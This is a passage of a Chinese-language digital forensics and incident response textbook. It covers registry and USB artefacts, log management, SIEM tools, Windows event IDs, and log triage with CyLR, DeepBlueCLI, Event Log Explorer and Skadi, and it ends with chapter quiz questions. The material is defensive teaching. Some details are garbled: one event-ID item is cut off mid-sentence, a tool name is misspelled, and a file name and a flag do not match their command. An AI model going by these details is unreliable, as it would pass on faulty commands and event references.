SAM:这是 Windows 操作系统存储用户密码(以 LM 或 NTLM 哈希形式)的地方。SAM 子键的主要功能是维护 Windows 帐户密码。
-
Security:这个子键包含系统连接的域的安全信息。
-
Software:软件子键是软件和 Windows 设置的存储库。这个子键通常会被软件或系统安装程序修改。这是一个检查恶意软件可能添加或修改软件的好位置。
-
System:这个子键存储有关 Windows 系统配置的信息。系统子键中包含的一个重要证据是当前挂载的文件系统设备。
另一个可能对事件调查至关重要的数据源是HKEY_CURRENT_USER键。攻击者可能会在特权升级攻击中修改用户帐户或配置文件。对用户数据所做的更改会记录在该用户的NTUSER.dat文件中。每个系统用户帐户都会创建一个NTUSER.dat文件,该文件位于C:\Users\*UserName*。此文件包含用户的个人设置,并可能提供有关连接的系统、网络连接或其他设置的附加数据。HKEY_CURRENT_USER键中的数据可能在一些怀疑用户活动或用户帐户修改系统的事件中起到帮助作用。
响应人员可以使用 Autopsy 访问各种注册表数据。只需从左侧窗格中的文件结构中导航到Windows/System32/config文件夹:

图 11.38 – 注册表位置
SAM 注册表文件位于中间窗格:

图 11.39 – SAM 位置
注册表项设置的实际检查和证据价值,像数字取证的许多方面一样,非常详细。虽然在本章中,甚至在本书中,不可能涵盖所有的注册表取证方面,但响应人员需要能够获取注册表项进行评估,同时还需要对一些工具有所了解,这些工具可以帮助响应人员获得评估注册表设置的实践经验。
在这种情况下,系统、SAM、安全性和软件注册表项将被获取以进行分析。为此,分析人员可以使用 Autopsy 获取适当的注册表项,然后使用第三方工具对其进行检查。我们来看看如何操作:
-
首先,导航到系统映像的适当卷中的
/System32/config文件夹。 -
接下来,使用右键和Ctrl键选择四个注册表项。右键单击其中一个文件并选择导出文件。
-
选择一个文件夹以输出注册表项。在这种情况下,创建了一个单独的文件夹来容纳这些项。选择保存。
-
验证注册表项是否已保存:

图 11.40 – 可疑注册表
Windows 操作系统记录并维护有关何时连接 USB 设备(如大容量存储设备、iOS 设备、数码相机和其他 USB 设备)的信息。这是由于 Windows 操作系统中的即插即用(PnP)管理器。PnP 接收到 USB 连接的通知并查询设备以获取信息,以便加载正确的设备驱动程序。完成后,Windows 操作系统将在注册表设置中为该设备创建一条条目。
要确定连接了哪些 USB 设备,请执行以下步骤:
-
打开注册表浏览器。
-
点击文件,然后选择加载 Hive。
-
导航到系统注册表的 hive。(根据文件的不同,可能会出现与“脏 hive”相关的错误。看到这种情况是正常的,可以使用注册表浏览器进行处理。)
加载后,将显示以下窗口:

图 11.41 – 注册表浏览器视图
- 从这里,导航到正确的 USB 注册表位置:
ROOT\ControlSet001\Enum\USB\:

图 11.42 – USB 注册表键位置
- 点击第一个注册表值
VID_05C8&PID_0815&MI_00,然后点击6&a631fef&0&000。以下信息将显示在右上角窗格中:

图 11.43 – 注册表值
从这里,分析人员需要审查大量信息。特别重要的是硬件 ID。点击输出中的这一部分将会在右下角窗格中显示以下内容:

图 11.44 – HardwareID 数据
如前所述,注册表分析本身就是数字取证的一个深层子集。已经有大量的著作讨论注册表项和设置中的证据价值。至少,响应人员应该准备好为他人获取这些证据以供进一步检查。也就是说,随着响应人员经验和技能的不断提升,注册表应该成为在检查磁盘镜像时可以利用的证据来源。
总结
在许多方面,本章只是触及了通过利用磁盘取证工具可以发现的信息的表面。使用 Autopsy 工具探索磁盘镜像展示了响应人员可以使用的一些功能。从这里,提取其他数据存储,如 Windows 注册表和 MFT,旨在为响应人员提供在事件分析过程中可以获得的数据的概念。
特定工具和技术在很大程度上取决于所使用的工具。重要的是要理解,现代操作系统会在磁盘上留下活动痕迹,从 MFT 中的文件更改证据到新用户账户添加时的注册表键设置。事件响应人员应具备理解现代操作系统如何存储数据的专业知识,并且能够利用商业或免费工具查找这些数据。结合来自网络源和内存中的其他证据,磁盘证据可能为事件提供更多的清晰度,并帮助确定其根本原因。在系统存储分析时,提取和检查日志文件是一个重点。日志文件是重要的数据点,能为响应人员提供大量信息。
下一章将接着本章的工作,讨论如何在事件调查中利用日志文件。
问题
请回答以下问题以测试你对本章内容的理解:
-
商业和开源取证平台提供的一些功能是什么?
-
十六进制查看器
-
邮件提取
-
元数据查看器
-
上述所有
-
-
事件响应员可以在什么注册表项中找到已连接到系统的 USB 设备?
-
SAM
-
安全
-
系统
-
用户配置文件
-
-
网络历史记录可能提供系统访问的钓鱼网址的数据。
-
正确
-
错误
-
-
以下哪项不是 Windows 注册表项?
-
系统
-
SAM
-
存储
-
软件
-
进一步阅读
有关本章所涵盖主题的更多信息,请参考以下资源:
-
Autopsy GitHub:
github.com/sleuthkit/autopsy -
Eric Zimmerman 工具:
ericzimmerman.github.io/#!index.md -
Eric Zimmerman 工具备忘单:
www.sans.org/posters/eric-zimmerman-tools-cheat-sheet/ -
使用 FTK 注册表查看器进行注册表分析:
subscription.packtpub.com/book/networking_and_servers/9781784390495/6/ch06lvl1sec37/registry-analysis-with-ftkregistry-viewer -
Windows 注册表分析 101:
www.forensicfocus.com/articles/windows-registry-analysis-101/
第十二章:分析日志文件
第三章详细讨论了埃德蒙·洛卡尔博士及其交换原理。为了复习,洛卡尔交换原理的核心前提是,当两个物体接触时,它们会留下痕迹。在数字取证的世界中,我们讨论了响应者如何利用各种位置和技术,从内存、硬盘和网络流量中发现这些痕迹。一个可以提供大量数据并可供利用的位置是日志文件。广泛的硬件和软件都会记录操作。所需的是响应者理解如何获取这些日志,如何检查它们,以及它们详细记录了什么。在这样做时,他们可能能够找出事件的根本原因。
本章将重点讨论日志和日志管理,使用日志聚合工具,如安全信息与事件管理(SIEM)系统、Windows 事件日志,最后——分析 Windows 事件日志。希望通过讨论这些技术,响应者能够清晰地阐明日志在事件调查中的重要性,并能够将其作为更大范围事件调查的一部分进行分析。
本章将涵盖以下主题:
-
日志和日志管理
-
与 SIEM 配合工作
-
Windows 事件日志
-
分析 Windows 事件日志
日志和日志管理
一次良好的事件调查的核心是来自多种来源的证据。即使是主机系统上的恶意软件感染,也需要从多个来源获得证据。一项常见的挑战,尤其是在较小的网络中,是组织如何处理日志管理。为了进行全面的调查,事件响应分析师需要访问尽可能多的网络数据。然而,许多组织没有投入足够的资源,以便从网络设备和其他系统收集全面的日志。
在任何事件发生之前,明确组织将如何记录以及如何维护这些日志是至关重要的。这应该在日志管理政策及相关程序中进行定义。计算机安全事件响应团队(CSIRT)的人员应参与讨论哪些日志是必要的,因为他们通常能够深入了解某个日志来源相较于其他日志来源的价值。
NIST 日志管理指南
国家标准与技术研究院(NIST)已发布一份简短的日志管理指南,可通过以下链接访问:nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-92.pdf。
除了日志管理的技术问题外,还有法律问题必须解决。以下是 CSIRT 及其法律支持团队在任何事件发生前应当解决的若干问题:
-
将日志记录作为常规商业实践:根据业务类型和管辖区域,用户可能有合理的隐私期待,除非有明确声明的监控政策。此外,如果日志仅用于确定用户是否存在恶意活动,可能会涉及法律问题。因此,日志政策应当明确,日志记录网络活动是正常商业活动的一部分,且用户不应期望有隐私保护。
-
事件发生时近距离记录日志:这在自动化日志记录中不是问题,因为日志通常会在事件发生时几乎同时创建。从证据角度来看,未在事件发生时近距离创建的日志,在法庭上的证据价值会大打折扣。
-
有经验的人员:日志的价值通常取决于谁创建了日志条目,以及他们是否了解事件。在网络设备的日志情况下,日志软件会解决这个问题。只要能够证明软件正常运行,就不应该存在问题。
-
全面日志记录:企业日志记录应当尽可能覆盖整个企业。此外,日志记录应该保持一致。随机的日志记录模式在法庭上的价值不如在整个企业中保持一致的日志记录模式。
-
合格的保管人:日志政策应当指定一名数据保管人。该人员将代表日志处理程序和用于创建日志的软件类型。他们还将负责证明日志的准确性以及所用日志软件的正确性。
-
记录故障:持续的故障或在记录事件时的历史性故障,可能会降低它们在法庭上的价值。记录故障必须被文档化,并且需要附上故障的原因。
-
日志文件发现:组织应当意识到,在法庭程序中使用的日志将会提供给对方的法律顾问。
-
来自被攻破系统的日志:来自已知被攻破系统的日志存在可疑性。如果这些日志要作为证据提交,日志的保管人或事件响应者通常需要对日志中包含数据的真实性进行详细的证词陈述。
-
优先使用原始副本:日志文件可以从日志源复制到存储介质。作为进一步的步骤,任何日志应该从系统中归档。事件响应者应为每个日志文件建立证据链,并在案件处理过程中保持这些日志,直到获得法院指令允许销毁这些日志。
日志管理过程解决了识别组织认为必要的事件所需的基础元素。从这里开始,适当的日志管理策略的下一个关键组成部分是用于汇总和审查的技术。这涉及将 SIEM 系统集成到日志管理过程的整体结构中。
使用 SIEM
许多组织面临的一个重大挑战是网络设备日志的管理。由于空间有限,日志文件通常会被覆盖,新日志会覆盖旧的日志文件。结果是,在某些情况下,组织可能只保留几天,甚至几小时的重要日志。如果潜在的事件发生在几周前,事件响应人员将无法获得关键证据。
一种被广泛接受的工具是 SIEM 系统。这个设备可以汇总来自网络来源的日志和事件数据,并将其合并到一个位置。这使得 CSIRT 和其他安全人员能够观察整个网络的活动,而无需检查单个系统。
下图展示了 SIEM 系统如何集成到整体网络中:

图 12.1 – SIEM 与日志架构
各种来源,从安全控制到 SQL 数据库,都被配置为将日志发送到 SIEM。在这种情况下,位于10.100.20.18的 SQL 数据库显示USSalesSyncAcct用户帐户被用来将数据库复制到远程主机,位于10.88.6.12。SIEM 可以快速检查此类活动。例如,如果确定USSalesSyncAcct帐户已被入侵,CSIRT 分析人员可以迅速查询 SIEM 中该帐户的任何使用记录。然后,他们可以查看日志条目,显示数据库被复制到远程主机的情况。
如果没有 SIEM,CSIRT 分析人员必须检查可能已被访问的每个系统,这一过程可能非常耗时。
从 SIEM 平台,安全和网络分析人员可以执行与事件响应相关的几项任务,如下所示:
-
日志汇总:典型的企业内部网络中有几千台设备,每台设备都有日志;SIEM 可以部署来将这些日志汇总到一个中心位置。
-
日志保留:SIEM 平台提供的另一个关键功能是日志保留平台。合规性框架,如支付卡行业数据安全标准(PCI-DSS),规定系统日志应保持 1 年,且 90 天的日志应立即可用。SIEM 平台可以通过提供一个系统来有序存档日志并允许立即检索来帮助进行日志管理。
-
常规分析:在使用 SIEM 平台时,建议定期审查信息。SIEM 平台通常提供一个仪表盘,突出显示关键要素,如连接数、数据流量和任何重要的警报。SIEM 平台还允许生成报告,以便利益相关者了解活动情况。
-
警报:SIEM 平台可以在特定条件下发出警报,这些条件可能表示恶意活动的存在。这可以包括来自安全控制的警报,例如防病毒软件和入侵防御或检测系统。SIEM 平台的另一个关键特性是事件关联。该技术检查日志文件,并确定事件之间是否存在关联或共同点。SIEM 随后可以对这些类型的事件发出警报。例如,如果一个用户账户在多个系统中尝试多次登录,SIEM 可以识别这一活动并向相关方发出警报。
-
威胁狩猎:现代对手可以潜伏在目标网络中或利用之前未被发现的漏洞。威胁狩猎是利用数字取证技术揭露这些长期攻击的做法。SIEM 平台允许威胁狩猎者搜索妥协指示器(IOCs)。
-
事件响应:随着 SIEM 成为日志聚合和分析的单一平台,CSIRT 分析师通常会在事件发生时使用 SIEM。CSIRT 分析师常常会在平台上进行查询,并下载日志进行离线分析。由于日志文件的集中管理,进行搜索和事件收集的时间显著减少。例如,假设 CSIRT 分析表明一个用户账户已经被妥协。没有 SIEM 的情况下,CSIRT 分析师需要检查各个系统,查看与该用户账户相关的活动。而有了 SIEM,分析师只需在 SIEM 平台上搜索该用户账户,SIEM 已经汇总了来自企业各系统的用户账户活动日志。结果是,分析师能够在极短的时间内清楚地了解该用户账户的活动,而无需查看企业各系统中的日志。
SIEM 平台的购买和实施确实需要投入大量的时间和金钱。除此之外,还有持续的维护、保养以及必须修改的规则。从事件响应的角度来看,配置和维护得当的 SIEM 对于及时收集基于网络的证据至关重要。此外,SIEM 平台的功能和能力能够显著减少在检测到事件后,确定事件根本原因所需的时间。
SIEM 用例
以下文章提供了 SIEM 平台在企业环境中的应用案例的详细解析:www.sumologic.com/blog/why-modern-siem/。
Splunk
Splunk 是一个商业工具,广泛应用于各种类型的企业和组织。该平台利用日志转发应用程序来聚合日志,并将其发送到中央服务器,可以是本地服务器也可以是云实例。从这里,分析人员可以审查日志并创建警报,以识别和升级潜在的恶意活动。Splunk 的一个缺点是需要商业许可。这些许可基于发送到平台的数据和日志量。大多数组织无法将网络中每个系统的每一条日志都发送到平台。因此,组织需要在发送日志时谨慎选择:

图 12.2 – Splunk 平台
Elastic Stack
另一个开源的 SIEM 选项是 Elastic Stack(或常称为 ELK Stack)。Elastic Stack 是三个工具的组合。开源工具 Elasticsearch、Logstash 和 Kibana 合并在一起,为威胁猎人提供一个开源平台,用于摄取数据并将其转化为可以通过 Kibana 图形界面查看和分析的格式。这使得威胁猎人可以同时可视化来自多个系统的日志数据。Elastic Stack 被集成到多个不同的开源安全工具中,包括我们接下来将讨论的 Security Onion 平台。Elastic Stack 也可以配置为独立的 SIEM 解决方案,并结合如 Winlogbeat 等工具,后者将 Windows 事件日志转发到 Elastic Stack。
以下是 Elastic Stack 中最直观的部分——即 Kibana 界面。这个界面允许数据可视化和搜索,正如在这里所见:

图 12.3 – Kibana 平台
SIEM 平台是响应人员检查来自多个系统的各种日志的绝佳方式。一个至关重要的方面是检查 Windows 事件日志。下一节将探讨各种 Windows 事件日志及其为响应人员提供的关于账户和应用程序使用的洞察。
Security Onion
Security Onion 是一个开源的多工具平台,可以作为网络 入侵检测系统(IDS)和 SIEM。Security Onion 将多种安全工具(如 OSSEC、Suricata 和 Zeek)集成到一个平台中。
Security Onion 还具有仪表板和用于深入分析日志文件的工具。以下屏幕截图显示了可用的详细程度:

图 12.4 – Security Onion 平台
虽然安装和部署 Security Onion 平台可能需要一些时间和资源,但它是一个强大的、低成本的替代方案,适用于那些无法部署全功能 SIEM 解决方案的组织(Security Onion 平台及其相关文档可在 securityonion.net/ 获取)。
Windows 日志
响应人员最常需检查的端点操作系统是 Windows 操作系统。由于微软在市场上的巨大份额,大多数企业端点将是微软的桌面/笔记本电脑、服务器或虚拟系统。因此,响应人员必须充分了解如何利用 Windows 事件和系统监视器日志进行事件分析。
Windows 事件日志
Windows 事件日志提供了操作系统的活动、来自其他系统的连接、凭证使用情况以及 PowerShell 使用的广泛数据。
从初始入侵使用恶意软件或其他漏洞、凭证访问,以及使用 Windows 操作系统内部工具进行权限提升和横向移动的对抗性战术,通常通过 Windows 事件日志进行捕获。
操作系统活动中捕获的具体日志在很大程度上取决于组织如何配置它们。大多数企业利用组策略设置来配置系统记录哪些操作,以及为日志文件分配的存储空间。根据组织的日志管理实践,Windows 操作系统可以配置为记录 PowerShell 使用、服务器消息块(SMB)使用、应用程序活动、DHCP 客户端管理以及任务调度程序维护。
日志管理配置通常通过 Windows 组策略来管理。在这里,管理员可以通过一项策略管理多个系统。
Windows 操作系统包括了事件查看器,用户或系统管理员可以通过它查看系统上可用的日志,并进行初步审查。
要访问 Windows 事件查看器,可以使用 Windows 搜索功能查找“事件查看器”,然后点击图标。这将打开事件 查看器窗口:

图 12.5 – 微软 Windows 事件查看器
通过这个查看器,响应人员可以清楚了解哪些内容正在被记录,甚至可以搜索特定的日志条目。要直接访问日志以进行离线分析,可以导航到日志存储的默认文件路径C:\Windows\System32\winevt\logs。这将显示可记录的各种事件,具体如下:

图 12.6 – Windows 事件日志目录
如前所述,Windows 事件日志记录了操作系统执行的广泛活动。在本章中,将重点介绍三种更相关的 Windows 事件日志类型。这些类型涵盖了广泛的活动,并在确定潜在被入侵系统上发生了哪些操作时非常有用。详细说明如下:
-
安全日志:这些日志包含与系统安全相关的数据条目,包括登录、注销、安全组成员身份以及程序执行。
-
应用程序日志:应用程序开发者决定应用程序会记录哪些类型的活动。这些活动被汇总到应用程序日志文件中。
-
系统日志:系统日志通常用于排除非恶意活动的故障,记录的是 Windows 操作系统创建的数据。
Windows 事件日志 ID 总共有 100 多种。根据操作系统的使用方式,某些事件在系统上很少甚至从未出现过。另一些则非常常见,即使在正常情况下也会频繁出现。以下是响应者可能需要用到的一些更有用的 Windows 事件日志类型:
-
4624 和 4634 – 登录与注销:这些事件日志条目显示了在潜在被入侵的系统上使用凭证的情况。此外,4624 事件 ID 可以显示登录是本地系统执行的还是通过远程连接进行的,这对于通过 Windows SMB 协议寻找横向移动非常重要。
-
4625 – 账户登录失败:一两条此类日志条目可能没有太大意义。几条此类条目可能表示偶尔的登录错误,但大量此类日志条目则表明攻击者正在尝试暴力破解凭证。
-
4672 – 特权分配给新登录:这是 Windows 操作系统中用户账户尝试提升到根权限或管理员权限的等价物。可以用来判断攻击者是否通过被入侵的账户提升了权限。
-
PsExec、CMD.EXE或Whami.exe,用以深入分析潜在的恶意行为。 -
4768-4773 – Kerberos 服务:攻击者使用一些著名的漏洞,利用 Kerberos 票证授予票证(TGT)来提升权限。这种攻击,通常被称为 Kerberoasting,尤其具有破坏性,因为它允许攻击者在网络中通过有效凭证横行。
-
5140 – 网络共享对象已访问:当用户账户首次登录到网络共享时,会记录此活动。时间或用户活动的异常可能表明攻击者试图获取机密数据,或者勒索软件试图感染网络共享。
-
7045 – 安装了新服务:当用户在日志条目中指明的用户安装了新服务时,会记录此日志条目。某些恶意软件会将自己作为服务安装。检查这些日志条目可能会揭示恶意代码的存在。
Windows 事件日志参考
每个事件日志 ID 的具体细节超出了本章的范围。有关具体 ID 的良好参考资料可以访问 www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx。
如前所述,Windows 事件类型超过 100 种。使用的特定类型通常由组织决定,并且需要在可用存储空间和事件调查期间特定日志条目的实用性之间进行权衡。
可以利用多个资源来更好地理解 Windows 事件日志。第一个是 ultimatewindowssecurity.com 网站。该网站提供了一个可搜索的数据库,按事件 ID 列出了各种 Windows 事件日志类型。当响应者可能遇到较为晦涩的事件 ID 时,这一点非常有用。MITRE 公司还提供了 ATT&CK 知识库。可以在该知识库中搜索与调查相关的 Windows 事件日志 ID——例如,响应者正在检查某个系统,寻找是否有系统感染 Carbanak 恶意软件的迹象。在 ATT&CK 知识库中,响应者可以确定 Carbanak 已经创建了一个账户,而相关的 Windows 事件 ID 是 4720。然后,响应者可以在系统中搜索该特定事件 ID,查看是否有其他账户显得可疑。
如上所示,Windows 操作系统有大量的日志事件类型和 ID。以下部分将为响应者提供收集和分析这些日志文件的方法。
分析 Windows 事件日志
分析 Windows 事件日志是一个详细的过程。响应者经常遇到的一个挑战是,事件发生时可能需要分析的日志数量。对于多个系统,响应者可能需要处理数百万条独立的事件日志条目。减少这些日志的数量需要使用专门的工具和流程,从获取开始,进入分诊阶段,最后聚焦于分析与事件调查相关的关键事件日志。
获取
响应者在获取 Windows 事件日志时可以使用几种方法。理想情况下,日志文件应发送到 SIEM,以便响应者能够在整个企业范围内搜索日志条目。不幸的是,许多组织面临着存储成本的重大障碍,无论是使用商业平台,还是开源平台。结果是,它们往往不得不通过让本地系统处理存储来权衡聚合这些日志的成本。
由于大多数日志位于本地系统中,响应者需要使用技术手段来收集它们。第一种技术是直接将事件日志从本地系统复制到某种可移动媒体。只需导航到默认目录 C:\Windows\System32\winevt\Logs,并复制相关日志。此方法确实需要本地访问,并且与本地系统的互动较多。响应者有责任记录他们在系统上采取的每个操作,以便进行适当的报告。
响应者还可以选择通过简单的批处理脚本编写日志文件采集脚本。此采集可以与其他本地系统证据采集操作一起进行。例如,以下屏幕截图展示了从本地系统获取四种 Windows 事件日志类型的操作:

图 12.7 – 事件日志 CMD 采集
这些类型的脚本可以通过 USB 设备或远程会话运行,从而减少与系统的互动。
第六章介绍了用于本地采集证据的 CyLR.exe 工具。CyLR.exe 获取的关键证据之一是 Windows 事件日志。如前所述,这些日志文件可以从本地系统中获取并导出到 USB。此部分将探索的另一个选项是使用 CyLR.exe 获取 Windows 事件日志并将其转发到 Skadi 日志审查平台。稍后会讨论 Skadi,但首先,CyLR.exe 将针对一个系统运行,并将输出发送到 Skadi 服务器。
要从本地系统获取日志文件并将其发送到 Skadi 实例,请按以下步骤操作:
-
以管理员身份打开 Windows 命令提示符。
-
导航到存放
CyLR.exe文件的目录。 -
在命令提示符中输入以下命令:
C:\Users\JSmith\Desktop>CyLR.exe -s 192.168.207.130:22 -u admin -p password
在之前的命令中,-s 是远程系统的 IP 地址或域名,CyLR.exe 的输出会发送到该系统。在此情况下,该压缩的证据文件将通过 SFTP 发送到系统 192.168.207.130。-u 是用于访问远程系统的帐户的用户名,最后,-p 是与远程系统相关的帐户的密码。与本地采集一样,CyLR.exe 将运行,命令提示符中将显示以下内容:

图 12.8 – CyLR.exe 执行输出
这种远程捕获技术可以通过任何可用的远程访问工具来实现。此方法的一个显著优点是能够获取日志数据和CyLR.exe捕获的其他证据,并自动将其转发到中央存储库。该中央存储库可以是 Skadi 实例,也可以是一个已配置为接受此数据的 SFTP 服务器。
根据事件的类型和涉及的系统数量,可能会有大量数据。有时,对于响应人员来说,手动检查这些数据可能过于繁琐。在这种情况下,需要对数据进行初步筛选,以确定哪些日志条目最为重要。
初步筛选
如前所述,响应人员可能需要检查多个 Windows 系统。每个系统可能包含数千条,甚至数十万条事件日志条目。响应人员或响应小组不可能检查那么多单独的条目。这就像人们常说的大海捞针。为了处理 Windows 事件日志分析中常遇到的大数据集,响应人员可以使用 DeepBlueCLI 工具。由 Eric Conrad 开发的这个 PowerShell 脚本能够检测可疑的 Windows 事件日志条目,例如服务创建、账户创建、大量登录失败和恶意 PowerShell 使用。通过关注这些更为关键的事件类型,响应人员将能够分析更多的日志文件,并有可能识别出可疑的活动。
要运行 DeepBlueCLI,请按以下步骤操作:
-
从其 GitHub 网站下载 PowerShell 脚本:
github.com/sans-blue-team/DeepBlueCLI。下载后,解压该文件。 -
打开 PowerShell 并导航到包含
DeepBlue.ps1的目录。 -
通过将
DeepBlue.ps1PowerShell 脚本指向特定的 Windows 事件日志文件(在此案例中为 Windows 安全事件日志)来执行该脚本,如下所示:PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-master> .\DeepBlue.ps1 -log security C:\Users\madno\Desktop\Logs\Security.evtx
参考截图如下:

图 12.9 – DeepBlueCLI 可疑的安全事件日志
-
Windows 事件日志还可能包含表示恶意活动的条目。使用以下命令运行 DeepBlueCLI PowerShell 脚本,检查系统日志:
PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-master> .\DeepBlue.ps1 -log system C:\Users\madno\Desktop\Logs\System.evtx
这将生成以下输出:

图 12.10 – DeepBlueCLI 可疑的系统事件日志条目
-
正如我们之前讨论过的,Windows 事件日志的数量是庞大的。其中一个经常提供关键数据点的日志来源,特别是在勒索软件攻击中,是 Windows PowerShell 操作日志。该日志通常会捕捉到作为多阶段勒索软件攻击一部分使用的恶意 PowerShell 脚本。使用以下命令对 PowerShell 日志进行初步筛选:
PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-master> .\DeepBlue.ps1 C:\Users\madno\Desktop\Logs\Microsoft-Windows-PowerShell%4Operational.evtx
此命令生成以下输出:

图 12.11 – DeepBlueCLI PowerShell 事件日志条目
在前面的截图中,我们可以看到一个超过 1,000 字节的 PowerShell 脚本,这可能表明它是恶意的。对该脚本的审查表明,它打开了一个网络套接字,连接到一个 IP 地址,并且端口设置为 4443:

图 12.12 – PowerShell 网络套接字
这种行为可能是合法的,但应当进一步跟进,因为诸如PowerSploit和Cobalt Strike等各种后渗透工具广泛使用 PowerShell。我们将在后续章节中讨论勒索软件攻击。
DeepBlueCLI 是进行事件日志初步分析的一个优秀工具。它的两个缺点是分析人员仍然需要使用其他工具检查初始日志条目,并且 DeepBlueCLI 可能会漏掉实际的恶意活动。建议从这个工具开始,然后过渡到更详细的检查方法和工具。在这些情况下,像 Event Log Explorer 和 Skadi 这样的工具非常有助于进行更详细的分析。
详细事件日志分析
如前所述,使用初步筛查工具是一个有用的第一步,但任何可以访问事件日志的事件调查都需要使用专业工具深入挖掘它们提供的数据。Windows 操作系统有一个本地的事件日志查看器。根据许多响应者的经验,这个查看器更适合于有限的故障排除,而不适合深入分析事件日志。有几个工具,无论是开源的还是商业的,都可以用于事件日志分析。SIEM 工具提供了最好的工具类型之一,特别是当它们能够分析离线事件日志或通过脚本或其他工具获取的日志时。本章将讨论两个工具:Event Log Explorer 和 Skadi。这些工具都适用于事件日志分析,但具有独特的功能,使其适合不同方面的事件日志分析。
例如,Event Log Explorer 提供了更好的结果筛选功能,并具有字符串搜索能力。Event Log Explorer 还可以合并多个来源。其他工具,如 Skadi,允许远程获取日志文件,并可以将日志条目与其他数据(如 MFT 条目和注册表键设置)结合起来。Skadi 的一个缺点是需要一定的时间来获取和处理数据以供审查。因此,具体使用哪个工具取决于调查人员选择最适合当前事件的工具。
事件日志浏览器
事件日志浏览器是一款功能更强大、易于操作的事件日志分析工具。作为一款商业工具,Event Log Explorer 的开发者 FSPro Labs 提供了一个 30 天的试用期供用户测试。该工具可以从eventlogxp.com/官网下载安装,并可安装在 Windows 操作系统上。
在本节中,我们将继续分析在上一章节中分析的存储中获取的日志文件:
- 打开事件日志浏览器,以下窗口将会出现:

图 12.13 – 事件日志浏览器图形用户界面
图形用户界面有三个主要区域。中间窗格包含 Windows 事件日志类型中的单个日志条目。下方窗格包含每个日志条目中的详细信息。最后,左侧窗格包含正在分析的 Windows 事件日志类型。
-
事件日志浏览器将自动导入本地主机的 Windows 事件日志。要移除这些日志,右键点击计算机名称并点击移除计算机。点击是。这将移除现有的 Windows 事件日志。
-
要导入事件日志文件或多个文件,请点击文件 | 打开日志文件 | 标准。导航到已提取事件日志的相应文件夹。从这里加载日志文件。此处,我们将查看 Windows 安全事件日志。选择并点击打开,如下所示:

图 12.14 – 打开 Windows 事件日志
- 这将加载该日志文件的所有日志条目。在此示例中,我们将查看 DeepBlueCLI 筛查中识别出的 新用户添加 条目。该输出不仅识别了事件 ID,还识别了账户,这是我们可以用来筛选的两项数据。要打开筛选器,请查找任务栏上的漏斗图标:

图 12.15 – 事件日志浏览器 – 创建筛选器
- 然后会显示筛选器屏幕。在这里,我们可以根据多种特定属性过滤事件日志,包括事件类型、事件 ID,甚至在日志文件条目的文本中进行关键字搜索。在本例中,我们将查看
minecraftsteve的日志条目。这是通过 DeepBlueCLI 筛查脚本识别出来的。输入事件 ID 为4720,并在minecraftsteve中如下所示:

图 12.16 – 事件日志浏览器筛选器参数
- 点击确定后,输出将显示与输入筛选条件匹配的事件日志条目。事件日志条目的详细信息包括有关账户创建的附加细节:

图 12.17 – 事件日志详情
- 再次回到 DeepBlueCLI 脚本的结果,发现有一个附加条目,事件 ID 为 4732,表示
minecraftsteve账户具有提升的权限。通过返回筛选器,将事件 ID 从 4720 更改为 4732,并移除minecraftsteve账户,我们可以看到该账户的 SID 不仅被移动到管理员组中,还被移动到 远程管理 用户组中:

图 12.18 – 事件日志条目描述
在这个简短的示例中,我们能够将新用户账户的创建与其权限提升到管理员组和远程管理用户相关联。虽然这可能不是恶意的,但如果无法将这个新账户与合法用户联系起来,它可能表明有攻击者创建了一个账户并将其加入管理员组。
一个可能对分析员可用的 Windows 事件日志是 Windows Defender 操作事件日志。这些条目包含有关 Windows Defender 恶意软件防护的信息,并且可以提供有关更新和检测的额外信息。打开文件后可以看到几个警告:

图 12.19 – Windows Defender 条目
对其中一个警告的回顾表明,Defender 已检测到 Meterpreter 的使用,这是一个著名的后期利用工具:

图 12.20 – Windows Defender Meterpreter 检测
Event Log Explorer 拥有很多功能,无法在本书中详细讲解。它的其他一些功能包括构建自定义视图、对特定数据点进行筛选,以及在多个事件日志文件中查找日志条目中的文本。即使有这些功能,Event Log Explorer 仍然存在一些小的局限性。首先,响应人员必须将日志收集到系统中进行分析,并手动加载它们。其次,视文件大小而定,Event Log Explorer 可能会出现性能问题,包括卡顿。响应人员应确保不会过度加载该应用程序。尽管如此,Event Log Explorer 仍然是响应人员工具包中非常优秀的工具。
Skadi 和 Kabana
事件通常涉及企业网络中的多个系统。没有分析多个系统的事件日志,相关联这些活动往往非常困难。这时,之前讨论的 SIEM 设备就非常有用。如果 SIEM 没有预配置以获取和分析事件日志,另一种选择是 Skadi 平台。这个开源平台可以从 GitHub 获取,网址是 github.com/orlikoski/Skadi,它是一组安装在 Ubuntu 16.04 LTS 服务器基础镜像上的应用程序和取证工具。
本章将重点介绍的主要工具是 Elastic Stack,它是 Skadi 平台的一部分。Skadi 还提供的另一个主要功能是能够接收通过CyLR.exe获取的日志和其他取证数据。如前所述,CyLR.exe可以配置为通过 SFTP 将输出发送到远程系统。Skadi 将一个附加工具与CyLR.exe结合,生成一个可由 Skadi 上的 Elastic Stack 接收的数据集。此功能允许响应者在多个不同系统上运行CyLR.exe,并直接将其发送到 Skadi,之后可以对其进行处理、索引、搜索和关联。
在CyLR.exe完成后,响应者将登录到 Skadi 控制台。从这里,Cold Disk Quick Response(CDQR)工具将运行,将已获取的数据转换为 Elasticsearch 工具可以接收的格式。以下命令启动 CDQR 处理:
skadi@skadi:~$ cdqr in:DESKTOP-SKPTDIO.zip out:Results -p win --max_cpu -z --es_kb DESKTOP-SKPTDIO
CDQR 从CyLR.exe接收输入文件jsmith-pc.zip,并将其输出到Results文件夹。-p参数选择解析器。在此情况下,由于DESKTOP-SKPTDIO是一个 Microsoft Windows 系统,因此选择win解析器。接下来的参数是--max_cpu。此参数允许分析人员限制 Skadi 机器的 CPU 使用率。如果正在处理多个CyLR.exe输出,分析人员应省略此参数。接下来的-z参数表示文件是一个 ZIP 文件。最后,--ex_kb参数告诉 CDQR 将结果输出到 Kibana,索引名称为DESKTOP-SKPTDIO。这个索引允许分析人员在 Kibana 应用程序中区分不同的系统:

图 12.21 – CDQR 执行
处理完成后,结果可以在 Kibana GUI 中查看,如下所示:
- 导航到 Skadi 服务器的 IP 地址,并输入用户名和密码。默认是
skadi:skadi。这将打开如下截图所示的门户:

图 12.22 – Skadi 门户
- 点击Kibana,以下屏幕将会出现:

图 12.23 – Kibana GUI
